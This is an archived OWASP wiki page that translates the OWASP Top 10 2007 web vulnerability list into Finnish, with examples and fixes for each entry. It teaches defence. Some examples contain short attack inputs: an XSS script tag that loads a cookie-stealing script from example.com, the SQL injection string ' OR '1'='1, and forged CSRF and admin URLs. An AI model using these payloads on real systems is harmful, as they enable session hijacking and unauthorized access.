This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org

Top 10 2007 Finnish

From OWASP
Revision as of 07:55, 7 May 2009 by Jmlaurio (talk | contribs) (Kiitokset avustajille)

Jump to: navigation, search

Johdanto

Huom! Tämä sivu on täysin työn alla. Tavoitteena on aluksi saada työtä valmiiksi sitä mukaa kuin suomennostyöhön osallistuvilla on aikaa. Suomennostyöhön saavat osallistua kaikki.

Tervetuloa OWASP Top 10 2007 -dokumentin suomennettuun versioon! Top 10 2007 kuvaa kymmentä tyypillisintä nykyään käytettävistä web-sovelluksista havaittua haavoittuvuutta. Dokumentti on uudelleenkirjoitettu alkuperäisestä vuoden 2004 versiosta.

Java Enterprise Edition -kohtainen lista dokumentista on ladattavissa täältä.

Tavoitteet

OWASP Top 10:n tärkein tavoite on kouluttaa sovelluskehittäjiä, suunnittelijoita, arkkitehtejä ja organisaatioita tyypillisimpien sovellushaavoittuvuuksien seurauksista. Top 10 tarjoaa perusmenetelmät näiltä haavoittuvuuksilta suojautumiseen - loistava ensiaskel turvalliseen ohjelmistokehitykseen.

Tietoturvallisuutta ei saavuteta kerralla. Ei riitä, että sovellus tehdään turvalliseksi kerran. Esimerkiksi nyt lukemasi lista on muuttunut vuosien varrella ja sovelluksen lähdekoodin käsittely uusien uhkien valossa takaa sovelluksen turvallisuuden jatkossakin. Lisätietoja ja tarkempia suosituksia on tarjolla englanninkielisessä dokumentissa Where to Go From Here.

Turvallisen ohjelmoinnin periaatteita tulee noudattaa läpi koko sovelluksen elinkaaren. Turvallinen web-sovellus on mahdollinen vain kun turvallisen ohjelmistokehityksen elinkaarimalli (Secure SDLC) on mukana. Tämän mallin tulee olla oletuksena mukana sekä suunnitteluvaiheessa että kaikissa kehitysvaiheissa. Kaiken kaikkiaan erilaisia web-sovellusten tietoturvallisuuteen vaikuttavia tekijöitä voidaan nimetä yli 300. Näistä tekijöistä on tarkempia kuvauksia englanninkielisessä dokumentissa OWASP Development Guide, joka sisältää oleellista luettavaa kaikille web-sovelluskehittäjille.

Tämän dokumentin ensisijainen tarkoitus olla opetuksellinen, ei standardi. Älä käytä tätä dokumenttia tietoturvallisuuden ohjenuorana tai standardina ottamatta meihin yhteyttä ensin! Jos tarvitset turvallisen ohjelmistokehityksen standardia, OWASPilla on käynnissä tähän liittyviä muita projekteja. Liittymällä mukaan tai antamalla tukea näihin projekteihin tuet niiden edistymistä parhaiten.

Kiitokset avustajille

OWASP Foundation kiittää MITREä CVE-tietokannan Vulnerability Type Distribution -osion tietojen saattamisesta yleiseen käyttöön. Kansainvälistä OWASP Top Ten -projektia vetää ja sen sponsorina toimii Aspect_logo.gif.

Projektipäällikkö: Andrew van der Stock (Executive Director, OWASP Foundation)

Työryhmä: Jeff Williams (Chair, OWASP Foundation), Dave Wichers (Conference Chair, OWASP Foundation)

OWASP Foundation kiittää osaltaan seuraavia avustajia ja kommentoijia:

  • Raoul Endres (hankkeen kommentointi)
  • Steve Christey (MITRE) (aineiston perinpohjainen läpikäynti, MITRE CWE -datan lisääminen)
  • Sylvan von Stuppe (aineiston perinpohjainen läpikäynti)
  • Jeremiah Grossman (WhiteHat Security) aineiston arviointi, automaattisten havaintomenetelmien arviointi
  • Neil Smithline (OneStopAppSecurity.com) (kommentit ja Wiki-version luonti)
  • Colin Wong, Nigel Evans, Andre Gironda (sähköpostikommentointi)

Käännöstyöhön Suomessa osallistuneet:

Kooste

A1 - Cross Site Scripting (XSS) (Haitallisten komentojen välittäminen käyttäjän selaimeen toisen sivuston kautta)

Sovellus on haavoittuva XSS:lle, kun se välittää käyttäjän antaman syötteen selaimelle sellaisenaan tarkastamatta ja käsittelemättä sitä ensin. Tämä mahdollistaa hyökkääjältä tulevien komentojen suorittamisen sovelluksen alaisuudessa. Komennoilla voidaan muuttaa selaimessa esimerkiksi sivuston ulkoasua tai kaapata sivuston istuntotunnisteet.

Esimerkki Kaksi yleistä XSS-tyyppiä ovat pysyvä ja heijastuva eli ei-pysyvä. Näiden erona on se, että pysyvässä XSS-haavoittuvuudessa komento jää sovelluksen omaan tietokantaan.

Pysyvä: Hyökkääjä muuttaa haavoittuvan yhteisösivuston nimimerkkinsä siten, että se sisältää komennon. Esim: "luser<script src="http://example.com/~luser/xss.js"></script>". Tiedostossa xss.js oleva komento lähettää sivuston istuntotunnisteen hyökkääjälle. Hän jättää sivustolle viestin, jolloin hänen nimimerkkinsä näkyy otsikossa. Viestin lukevan toisen käyttäjän selain suorittaa hänen tietämättään hyökkääjän komennon, minkä jälkeen hyökkääjällä on mahdollisuus käyttää sivustoa hänen tunnuksillaan.

Ei-pysyvä: Käyttäjä on kirjautunut haavoittuvaan yhteisösivustoon, jonka hakukentässä on XSS-haavoittuvuus. Samalla hän saa hyökkääjältä viestin, joka kehottaa katsomaan annetun linkin, mikä todellisuudessa ohjaakin osoitteeseen "http://community.example piste com/search?term=qwert<script....>". Tällöin hakumoottori ilmoittaa että hakutulos "qwert" ei tuottanut tuloksia, mutta samalla selain suorittaa myös hyökkääjän komennon. Haavoittuvuuden toteutumisen kannalta lopputulos on sama.

Suositus Tarkasta kaikki syötekentät ja koodaa niistä erikoismerkit toiseen muotoon. Tarkasta ja käsittele myös kaikki kentät, jotka liitetään osaksi vastausviestiä.

A2 - Injektio-ongelmat (Haitallisen komennon välittäminen syötteessä osaksi taustajärjestelmäkyselyä) Injektio-ongelmat, erityisesti SQL-injektio, ovat tyypillisiä web-sovelluksissa. Injektio onnistuu, kun puutteellisen suodatuksen takia käyttäjän antama syöte istutetaan suoraan osaksi taustajärjestelmäkomentoa tai tietokantakyselyä. Tämä mahdollistaa hyökkääjälle komentojen ajamisen tai tiedon muuttamisen taustajärjestelmässä. Esimerkki

Haavoittuva sovellus etsii kirjautuessa käyttäjän tietokannasta seuraavalla tietokantakyselyllä:

"SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"

Parametrit username ja password tulevat suoraan kirjautumislomakkeelta. Hyökkääjä antaa admin-käyttäjän salasanaksi: ' OR '1'='1

"SELECT * FROM users WHERE username='admin' AND password= OR '1'='1'"

Toimenpide näyttää sovellukselle onnistuneelta kirjautumiselta, vaikka oikea salasana ei ollut tiedossa.

Suositus Tarkasta kaikki syötekentät ja koodaa tietokanta- tai muissa taustajärjestelmäkyselyissä käytettävät erikoismerkit toiseen muotoon.

A3 - Haitallisen tiedoston suoritus Käyttäjän antama tiedosto tai tiedostonimi välitetään sovellukselle tarkistamatta tiedoston sisällön tai tiedostonimen oikeellisuutta. Tämä mahdollistaa käyttäjälle tavan liittää haitallista koodia tai haitallisia tiedostoja sovelluksen käyttöön.

Esimerkki Sovellus ottaa yhtenä parametrinaan osaksi sivuston generoivaa koodia sisältävän tiedoston nimen. Oletus on, että käytetään jotakin sivuston omista tiedostoista, mutta hyökkääjä vaihtaa nimen osoittamaan omalle palvelimelleen. Hyökkääjän tiedosto sisältää kuitenkin koodia, joka avaa hänelle pääsyn sovellusta isännöivään järjestelmään.

Suositus Tarkasta, että syötteenä käytetyt tiedostot eivät sisällä suoritettavaa koodia tai että tiedostojen alkuperä on tunnettu.

A4 - Turvaton suora objektiviittaus Jos sovellus käyttää suoria viittauksia sovelluksen sisäisesti käyttämiin objekteihin, kuten tiedostoihin, tietokantatauluihin tai avaimiin, viittaukset voivat esimerkiksi paljastua käyttäjälle näkyvien parametrien arvona. Tämä mahdollistaa käyttäjälle valtuuttamattoman pääsyn sovelluksen sisäisiin objekteihin muuttamalla viittauksien arvoja toisiin.

Esimerkki Verkkopankkisovelluksessa käytetään tiliin viittaamiseen asiakkaan tilinumeroa. Hyökkääjä, yksi verkkopankin käyttäjä, huomaa tilitietojen kyselyssä oman tilinumeronsa välittyvän yhtenä parametrina. Hän muuttaa tämän parametrin arvon toisen käyttäjän tilinumeroksi, jolloin sovellus paljastaa toisen käyttäjän tilitiedot.

Suositus Tarkasta jokaisen pyynnön kohdalla, että käyttäjällä on oikeus suoritettavaan toimintoon.

A5 - Cross Site Request Forgery (CSRF) (Haitallisen sovelluskutsun tekeminen toisen käyttäjän valtuuksilla pyyntöhuijauksen avulla)

CSRF-hyökkäyksessä hyökkääjä lähettää sovellukseen kirjautuneelle käyttäjälle esimerkiksi väärennetyn linkin, joka ohjaa käyttäjän selaimen suorittamaan hyökkääjän määräämän toiminnon käyttäjän valtuuksilla. Tämä voidaan tehdä täysin käyttäjän tietämättä, sillä kyseinen kutsu voidaan piilottaa esimerkiksi kuvaelementin sisään jollakin toisella sivustolla.

Verrattuna XSS:ään, tämä hyökkäys periaatteen tasolla toimii päinvastoin. Tässä hyökkääjä hyödyntää käyttäjän selainta suorittaakseen komennon sovelluksessa, kun XSS:ssä hyödynnetään sovellusta suorittamaan komento käyttäjän selaimessa.

Esimerkki Example.comin pääkäyttäjä saa viestin, jossa on linkki "Katso video". Linkin takana on sivusto, mikä näyttää videon, mutta lisäksi yksi kuva haetaan osoitteesta "https://internaladmin.example piste com/firewalladmin/dropallrules.cgi?confirm=yes". Käyttäjä on valmiiksi kirjautunut vain sisäverkossa näkyvään palomuurin hallintaliittymään, ja tämä kutsu poistaa kaikki example.com:in palomuurisäännöt, mikä helpottaa hyökkääjän toimia.

Suositus Toteuta evästeissä kulkevan istuntotunnisteen lisäksi jokaiseen sovelluskutsuun yhtenä parametrina satunnainen arvo, jota hyökkääjä ei voi etukäteen tietää.

A6 - Tiedon vuotaminen ja puutteellinen virheenkäsittely

Sovellukset voivat tarkoituksettomasti vuotaa tietoja omista asetuksistaan, sisäisistä toteutustavoistaan tai jopa loukata yksityisyydensuojaa erilaisten hallitsemattomien virhetilanteiden johdosta. Hyökkääjät voivat käyttää sovelluksen virheviesteistä paljastuvia tietoja joko suoraan tai apuna suunnitellessa vakavampia hyökkäyksiä.

Esimerkki Tunnistuksen yhteydessä tapahtuu hallitsematon virhe, koska yhtä tunnistusparametria oli muutettu odottamattomasti. Poikkeuksen ajonaikaiset tiedot paljastuvat käyttäjälle. Tiedoista myös paljastuu, mikä käyttäjän salasanan pitäisi olla.

Suositus Toteuta järjestelmällinen virheenkäsittely, joka käsittelee virhe- ja poikkeustilanteet hallitusti ilmoittamalla ainoastaan yleinen virheilmoitus.

A7 - Viallinen tunnistusmenettely ja istunnonhallinta Käyttäjä- sekä istuntotunnisteita ei usein ole suojattu riittävillä keinoilla. Tämä mahdollistaa hyökkääjille salasanojen, käyttäjä- tai istuntotunnisteiden keruun järjestelmästä, ja sitä kautta sovelluksen käyttämisen toisten valtuuksilla.

Esimerkki Sovelluksen istuntotunniste generoidaan liittämällä käyttäjän tunnus sekä päivämäärä ja kellonaika, ja tästä muodostetaan hash-arvo. Hyökkääjä pystyy helposti arvaamaan istuntotunnisteen, kun tietää käyttäjän nimen ja kirjautumisajan. Monesti myös käytetään heikkoja satunnaislukugeneraattoreita, joiden tuottamat satunnaisluvut ovat ennustettavia.

Suositus Käytä riittävän vahvoja salasanoja sekä istuntotunnisteita.

A8 - Salauksellisesti turvaton tiedon säilytys Web-sovelluksissa käytetään vain harvoin asianmukaisia salausmenetelmiä tiedon ja käyttäjätunnisteiden salaukseen esimerkiksi tietokannassa. Tietokantainjektion avulla tai muilla keinoilla tietoihin käsiksi pääsevä hyökkääjä voi näin helposti selvittää esimerkiksi käyttäjien henkilökohtaisia tietoja ja luottokorttinumeroita.

Suositus Käytä tiedon salaukseen asiantuntijoiden hyväksymiä salausmenetelmiä.

A9 - Turvattomat tietoliikenneyhteydet Sovellukset eivät usein käytä asianmukaisesti salattuja tietoliikenneyhteyksiä. Tämä voi mahdollistaa esimerkiksi liikenteen salakuuntelun.

Suositus Käytä riittävän vahvaa SSL/TLS-yhteyttä suojaamaan tietoliikenneyhteydet.

A10 - Rajoittamaton URL-tason pääsy Sovellusten pääsynvalvonta perustuu monesti siihen, että valtuuttamattomalle käyttäjälle ei näytetä linkkejä niihin toimintoihin, joihin hänellä ei ole oikeuksia. Nämä osoitteet saattavat kuitenkin olla yleisesti tunnettuja tai helposti arvattavia, ja hyökkääjä pystyy suorittamaan valtuuttamattomia toimia yksinkertaisesti siirtymällä näihin osoitteisiin.

Esimerkki Intranet-sovelluksen pääkäyttäjätoimintoja ei näytetä tavalliselle käyttäjälle. Käyttäjä kuitenkin voi suorittaa kyselyn intranet-osoitteeseen: "https://employees.example piste com/raisesalary?user=luser&raisesalaryby=10000", vaikka palkankorotuksen pitäisi olla mahdollista vain pääkäyttäjälle.

Suositus Tarkasta jokaisen pyynnön kohdalla, että käyttäjällä on oikeus suoritettavaan toimintoon.

Taulukko 1: Web-sovellusten Top 10 -haavoittuvuudet 2007


Tämä dokumentti sisältää myös muutamia sivuja, jotka eivät suoraan koske mitään tiettyä haavoittuvuutta. Nämä on listattu seuraavassa taulukossa.

Top 10 2007 Finnish Dokumentin pääsivu (tämä sivu) tarjoaa johdannon ja mahdollisuuden lisätä kirjanmerkkeihin koosteosuuden jatkokäyttöä varten. (lisää tämä linkki selaimesi kirjanmerkkeihin)
Top 10 2007-Methodology Kuvaus tähän dokumenttiin valittujen haavoittuvuuksien valintamenetelmistä.
Top 10 2007-Where to Go From Here Vinkkejä siihen kuinka jatkaa tämän dokumentin lukemisen jälkeen.
Top 10 2007-References Suositeltavaa luettavaa.
Taulukko 1a: Sivut OWASP Top Ten 2007 -dokumentissa, jotka eivät liity ylläoleviin haavoittuvuussivuihin.

Eri versioihin liittyvä huomautus

Vaikka ainut virallinen versio OWASP Top Ten 2007 -listasta on englanninkielinen latattava PDF-versio, OWASP on julkaissut tämän Wiki-sivun, joka sisältää PDF-dokumentin kanssa yhtenevät tiedot. Toivomme että vapaaehtoispanoksesi myötä tilanne voisi muuttua ja Wiki-versio voisi edelleen kehittyä. Tämän helpottamiseksi olemme julkaisseet englanninkielisen ohjesivun.

Ladattavat tiedostot

Valmiita Top 10 -dokumentteja on ladattavissa seuraavilla kielillä:

  • Etsitkö jollain muulla kielellä laadittua versiota? Otamme mielellämme vastaan panoksesi käännöstyöhön. Ota yhteyttä Andrew van der Stockiin (vanderaj ...(@)... owasp.org) lisätietojen saamiseksi.


    »»»»

© 2002-2007 OWASP Foundation This document is licensed under the Creative Commons Attribution-ShareAlike 2.5 license. Some rights reserved.